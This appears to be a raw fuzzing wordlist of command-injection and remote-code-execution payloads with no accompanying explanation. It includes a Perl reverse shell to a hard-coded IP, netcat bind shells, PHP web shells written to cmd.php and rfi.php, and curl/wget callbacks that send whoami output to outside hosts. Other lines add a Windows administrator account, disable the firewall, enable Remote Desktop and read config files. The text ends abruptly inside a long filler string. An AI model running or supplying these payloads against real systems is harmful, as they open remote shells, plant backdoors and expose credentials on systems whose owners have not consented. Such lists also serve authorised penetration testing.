 ; dir C:\Users&lt;br /&gt;
 &amp;amp; dir C:\Users&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Users&lt;br /&gt;
 dir C:\Users&lt;br /&gt;
 ;echo%20'&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)&amp;gt;&amp;lt;/img&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php include($_GET['page'])| ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']')| ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system($_GET['cmd'])| ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ;echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 echo '&amp;lt;script src=https://crowdshield.com/.testing/xss.js&amp;gt;&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 ; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 () { :;}; echo vulnerable 10&lt;br /&gt;
 eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 eval('ls')&lt;br /&gt;
 eval('pwd')&lt;br /&gt;
 eval('pwd');&lt;br /&gt;
 eval('sleep 5')&lt;br /&gt;
 eval('sleep 5');&lt;br /&gt;
 eval('whoami')&lt;br /&gt;
 eval('whoami');&lt;br /&gt;
 exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 exec('ls')&lt;br /&gt;
 exec('pwd')&lt;br /&gt;
 exec('pwd');&lt;br /&gt;
 exec('sleep 5')&lt;br /&gt;
 exec('sleep 5');&lt;br /&gt;
 exec('whoami')&lt;br /&gt;
 exec('whoami');&lt;br /&gt;
 ;{$_GET[&amp;quot;cmd&amp;quot;]}&lt;br /&gt;
 `id`&lt;br /&gt;
 |id&lt;br /&gt;
 | id&lt;br /&gt;
 ;id&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 &amp;amp;&amp;amp;id&lt;br /&gt;
 ;id\n&lt;br /&gt;
 ifconfig&lt;br /&gt;
 | ifconfig&lt;br /&gt;
 ; ifconfig&lt;br /&gt;
 &amp;amp; ifconfig&lt;br /&gt;
 &amp;amp;&amp;amp; ifconfig&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ipconfig&lt;br /&gt;
 | ipconfig /all&lt;br /&gt;
 ; ipconfig /all&lt;br /&gt;
 &amp;amp; ipconfig /all&lt;br /&gt;
 &amp;amp;&amp;amp; ipconfig /all&lt;br /&gt;
 ipconfig /all&lt;br /&gt;
 ls&lt;br /&gt;
 $(`ls`)&lt;br /&gt;
 | ls -l /&lt;br /&gt;
 ; ls -l /&lt;br /&gt;
 &amp;amp; ls -l /&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /&lt;br /&gt;
 ls -l /&lt;br /&gt;
 | ls -laR /etc&lt;br /&gt;
 ; ls -laR /etc&lt;br /&gt;
 &amp;amp; ls -laR /etc&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /etc&lt;br /&gt;
 | ls -laR /var/www&lt;br /&gt;
 ; ls -laR /var/www&lt;br /&gt;
 &amp;amp; ls -laR /var/www&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /var/www&lt;br /&gt;
 | ls -l /etc/&lt;br /&gt;
 ; ls -l /etc/&lt;br /&gt;
 &amp;amp; ls -l /etc/&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /etc/&lt;br /&gt;
 ls -l /etc/&lt;br /&gt;
 ls -lh /etc/&lt;br /&gt;
 | ls -l /home/*&lt;br /&gt;
 ; ls -l /home/*&lt;br /&gt;
 &amp;amp; ls -l /home/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /home/*&lt;br /&gt;
 ls -l /home/*&lt;br /&gt;
 *; ls -lhtR /var/www/&lt;br /&gt;
 | ls -l /tmp&lt;br /&gt;
 ; ls -l /tmp&lt;br /&gt;
 &amp;amp; ls -l /tmp&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /tmp&lt;br /&gt;
 ls -l /tmp&lt;br /&gt;
 | ls -l /var/www/*&lt;br /&gt;
 ; ls -l /var/www/*&lt;br /&gt;
 &amp;amp; ls -l /var/www/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /var/www/*&lt;br /&gt;
 ls -l /var/www/*&lt;br /&gt;
 \n&lt;br /&gt;
 \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`&lt;br /&gt;
 \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 | nc -lvvp 4444 -e /bin/sh|&lt;br /&gt;
 ; nc -lvvp 4444 -e /bin/sh;&lt;br /&gt;
 &amp;amp; nc -lvvp 4444 -e /bin/sh&amp;amp;&lt;br /&gt;
 &amp;amp;&amp;amp; nc -lvvp 4444 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4444 -e /bin/sh&lt;br /&gt;
 nc -lvvp 4445 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4446 -e /bin/sh|&lt;br /&gt;
 nc -lvvp 4447 -e /bin/sh;&lt;br /&gt;
 nc -lvvp 4448 -e /bin/sh&amp;amp;&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Asleep 5\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 | net localgroup Administrators hacker /ADD&lt;br /&gt;
 ; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 net localgroup Administrators hacker /ADD&lt;br /&gt;
 | netsh firewall set opmode disable&lt;br /&gt;
 ; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp;&amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 netsh firewall set opmode disable&lt;br /&gt;
 netstat&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 | netstat -an&lt;br /&gt;
 ; netstat -an&lt;br /&gt;
 &amp;amp; netstat -an&lt;br /&gt;
 &amp;amp;&amp;amp; netstat -an&lt;br /&gt;
 netstat -an&lt;br /&gt;
 | net user hacker Password1 /ADD&lt;br /&gt;
 ; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 net user hacker Password1 /ADD&lt;br /&gt;
 | net view&lt;br /&gt;
 ; net view&lt;br /&gt;
 &amp;amp; net view&lt;br /&gt;
 &amp;amp;&amp;amp; net view&lt;br /&gt;
 net view&lt;br /&gt;
 \nid|&lt;br /&gt;
 \nid;&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x1024'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x16384'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x8192'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x81920'&lt;br /&gt;
 || phpinfo()&lt;br /&gt;
 | phpinfo()&lt;br /&gt;
  {${phpinfo()}}&lt;br /&gt;
 ;phpinfo()&lt;br /&gt;
 ;phpinfo();//&lt;br /&gt;
 ';phpinfo();//&lt;br /&gt;
 {${phpinfo()}}&lt;br /&gt;
 &amp;amp; phpinfo()&lt;br /&gt;
 &amp;amp;&amp;amp; phpinfo()&lt;br /&gt;
 phpinfo()&lt;br /&gt;
 phpinfo();&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 10&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 5&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc&amp;quot;);?&amp;gt;&lt;br /&gt;
 :phpversion();&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 ;${@print(md5(RCEVulnerable))};&lt;br /&gt;
 ${@print(&amp;quot;RCEVulnerable&amp;quot;)}&lt;br /&gt;
 ${@print(system($_SERVER['HTTP_USER_AGENT']))}&lt;br /&gt;
 pwd&lt;br /&gt;
 | pwd&lt;br /&gt;
 ; pwd&lt;br /&gt;
 &amp;amp; pwd&lt;br /&gt;
 &amp;amp;&amp;amp; pwd&lt;br /&gt;
 \r&lt;br /&gt;
 | reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 ; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp;&amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 \r\n&lt;br /&gt;
 route&lt;br /&gt;
 | sleep 1&lt;br /&gt;
 ; sleep 1&lt;br /&gt;
 &amp;amp; sleep 1&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 1&lt;br /&gt;
 sleep 1&lt;br /&gt;
 || sleep 10&lt;br /&gt;
 | sleep 10&lt;br /&gt;
 ; sleep 10&lt;br /&gt;
 {${sleep(10)}}&lt;br /&gt;
 &amp;amp; sleep 10 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 10&lt;br /&gt;
 sleep 10&lt;br /&gt;
 || sleep 15&lt;br /&gt;
 | sleep 15&lt;br /&gt;
 ; sleep 15&lt;br /&gt;
 &amp;amp; sleep 15 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 15&lt;br /&gt;
  {${sleep(20)}}&lt;br /&gt;
 {${sleep(20)}}&lt;br /&gt;
  {${sleep(3)}}&lt;br /&gt;
 {${sleep(3)}}&lt;br /&gt;
 | sleep 5&lt;br /&gt;
 ; sleep 5&lt;br /&gt;
 &amp;amp; sleep 5&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 5&lt;br /&gt;
 sleep 5&lt;br /&gt;
  {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 sysinfo&lt;br /&gt;
 | sysinfo&lt;br /&gt;
 ; sysinfo&lt;br /&gt;
 &amp;amp; sysinfo&lt;br /&gt;
 &amp;amp;&amp;amp; sysinfo&lt;br /&gt;
 system('cat C:\boot.ini');&lt;br /&gt;
 system('cat config.php');&lt;br /&gt;
 || system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 | system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp;&amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt')&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')&lt;br /&gt;
 system('curl https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX